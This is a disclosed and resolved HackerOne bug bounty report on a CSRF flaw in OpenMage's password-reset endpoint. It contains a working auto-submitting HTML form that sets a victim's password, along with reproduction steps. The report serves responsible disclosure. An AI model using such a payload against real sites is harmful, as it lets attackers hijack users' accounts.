CSRF in changing password after using reset password link
Low
Vulnerability Details
## Summary:
Hey OpenMage, the forgot password page is not protected against CSRF attack which can lead to changing password. Use the below form to test
```html
<html>
<body>
<form action="https://demo.openmage.org/customer/account/resetpasswordpost/" method="POST">
<input type="hidden" name="password" value="password123" />
<input type="hidden" name="confirmation" value="password123" />
</form>
<script>document.forms[0].submit()</script>
</body>
</html>
```
## Steps To Reproduce:
1. Go to ```https://demo.openmage.org/customer/account/forgotpassword/```
2. Enter your email and ask for password reset link
3. Load the password reset link and after loading it close it
4. Now load the above form and boom, password will be changed.
## Impact
Password reset via CSRF
Actions
View on HackerOneReport Stats
- Report ID: 1086752
- State: Closed
- Substate: resolved
- Upvotes: 21